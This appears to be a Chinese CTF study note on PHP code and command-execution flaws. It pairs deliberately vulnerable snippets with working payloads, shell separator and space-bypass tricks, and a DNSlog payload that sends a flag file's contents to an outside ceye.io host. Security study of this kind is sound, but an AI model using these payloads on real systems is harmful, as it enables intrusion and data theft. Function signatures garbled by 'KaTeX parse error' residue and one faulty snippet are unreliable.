ctf命令执行小结

1.相关函数

eval()

eval函数能够将字符串当作命令去执行

需要被执行的字符串

代码不能包含打开/关闭 PHP tags。比如, ‘echo “Hi!”;’ 不能这样传入: ‘’。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 ‘echo “In PHP mode!”; ?>In HTML mode!

除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 ‘echo “Hi!”’ 会导致一个 parse error,而 ‘echo “Hi!”;’ 则会正常运行。

return 语句会立即中止当前字符串的执行。

代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。

返回值
eval() 返回 NULL,除非在执行的代码中 return 了一个值,函数返回传递给 return 的值。 PHP 7 开始,执行的代码里如果有一个 parse error,eval() 会抛出 ParseError 异常。在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回 FALSE,之后的代码将正常执行。无法使用 set_error_handler() 捕获 eval() 中的解析错误。

例如


highlight_file(__FILE__);
$b='phpinfo()';
$a='phpinfo();';
eval($b);
eval($a);
//eval用来将字符串当作命令执行
?>

在php7的版本以下,eval($b)出现parse error ,但后面的代码依然执行.如果把版本切换至php7就会直接出错,后面代码不会执行

assert()

bool assert( mixed $assertion[, string $description] )
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

测试:


error_reporting(E_ALL);
highlight_file(__FILE__);
#$a='echo 12345;';
#assert($a);
#assert('echo "456";');
$a=(array)base64_decode($_POST['a']);
array_map(assert,$a);
echo '123';
?>

构造post a=ZXZhbCgncGhwaW5mbygpOycp 执行成功

call_user_func(

call_user_func( callable $callback[, mixed $parameter[, mixed $…]] )

call_user_func — 把第一个参数作为回调函数调用,后面的为调用函数的参数。


highlight_file(__FILE__);
#$a="system";
#$b="pwd";
#call_user_func($a,$b);
call_user_func('assert','phpinfo()');
#call_user_func('eval','phpinfo()');
?>

eval在这里是不会被执行的,它在这个函数中不可被调用,类似的还有echo(),array(),empty(),eval(),exit(),isset(),list(),print(),unset()…

create_function()

— Create an anonymous (lambda-style) function

string create_function( string $args, string $code)
args是函数的参数,code是函数的代码


highlight_file(__FILE__);
$a=create_function('$code','echo $code;');
$b='hello';
$a($b);
$a='phpinfo();';
$b= create_function('',$a);
$b();
?>

当args为空时,表示函数的参数为空,直接执行传入的代码code.

preg_replace()

preg_replace( mixed $pattern, mixed $replacement, mixed $subject[, int KaTeX parse error: Expected 'EOF', got '&' at position 18: …mit = -1[, int &̲count]] )
执行一个正则表达式的搜索和替换

当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:’、"、 \ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误(比如: ‘strlen(’$1’)+strlen("$2")’)。确保符合PHP的 字符串语法,并且符合eval语法。因为在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。


highlight_file(__FILE__);
$a="phpinfo()";
$b=preg_replace("/abc/e",$a,'abcd');
var_dump($b);
?>

例题:
攻防世界ics-05

array_map()

array array_map( callable $callback, array $array1[, array $…] )

为数组的每个元素应用回调函数
返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。


highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=array_map($a,$b);
?>

a=assert&b=phpinfo()

用a=eval会失败,eval不可做为回调函数

usort

bool usort( array &$array, callable $value_compare_func)
使用用户自定义的比较函数对数组中的值进行排序


highlight_file(__FILE__);
usort(...$_GET);
#usort($_GET['a'],'assert');
?>
1[]=phpinfo()&1[]=123&2=assert

在php版本为7.0以上可用,测试php5版本解析不了

price.php


#${phpinfo()};
highlight_file(__FILE__);
$price=$_GET['price'];
$code= 'echo $name. '.'的价格是'.$price.'; ';
$b=create_function('$name',$code);
$b=('iphone');
?>
pyload:price=123;}phpinfo();/*

系统函数

exec

string exec( string KaTeX parse error: Expected 'EOF', got '&' at position 17: …ommand[, array &̲output[, int &$return_var]] )
执行一个外部程序

如果提供了 output 参数,那么会用命令执行的输出填充此数组,每行输出填充数组中的一个元素。数组中的数据不包含行尾的空白字符,例如 \n 字符。请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加,请在传入 exec() 函数之前对数组使用 unset() 函数进行重置。

return_var
如果同时提供 output 和 return_var 参数,命令执行后的返回状态会被写入到此变量。

命令执行结果的最后一行内容。如果你需要获取未经处理的全部输出数据,请使用 passthru() 函数。


var_dump(exec(ifconfig));
exec('ls',$b);
var_dump($b);
?>

passthru()

void passthru( string KaTeX parse error: Expected 'EOF', got '&' at position 15: command[, int &̲return_var] )
执行外部程序并且显示原始输出

command
要执行的命令。
return_var
如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。

shell_exec()

直接加上命令,同样是无回显,但是可以用echo将结果输出

符号执行

1.反引号

`ls`

反引号一般不可用,因为执行命令时,一般会在引号之间执行命令,反引号失去作。

ob_start

bool ob_start([ callback $output_callback[, int $chunk_size[, bool $erase]]] )
打开输出控制缓冲

output_callback
可选参数 output_callback 函数可以被指定。此函数把一个字符串当作参数并返回一个字符串。当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。


highlight_file(__FILE__);
$cmd='system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
?>
pyload:a=dir

在php7版本以下可以执行system 命令

命令执行符号

符号 作用
%0a 换行
连续指令
& 后台进程
| 管道符
||和&& 逻辑运算

空格代替

<
$IFS 代码加上引号
${IFS}
%09 制表符

命令执行无回显的dnslog方法

平台:
ceye.io

index.php


highlight_file(__FILE__);
include("where_is_flag.php");
echo "ping";
$ip=(string)$_GET['ping'];
$ip=str_replace(">","0.0",$ip);
shell_exec("ping".$ip);
?>

where_is_flag.php

 $flag='dnsLog/flag.php';
?>

flag.php

 
#flag{ndslog_is_s0_s0_beautiful}
?>

playload ping=`cat where_is_flag|sed s/[[:space:]]//`.sss.yj45ga.ceye.io

你可能感兴趣的:(ctf,命令执行)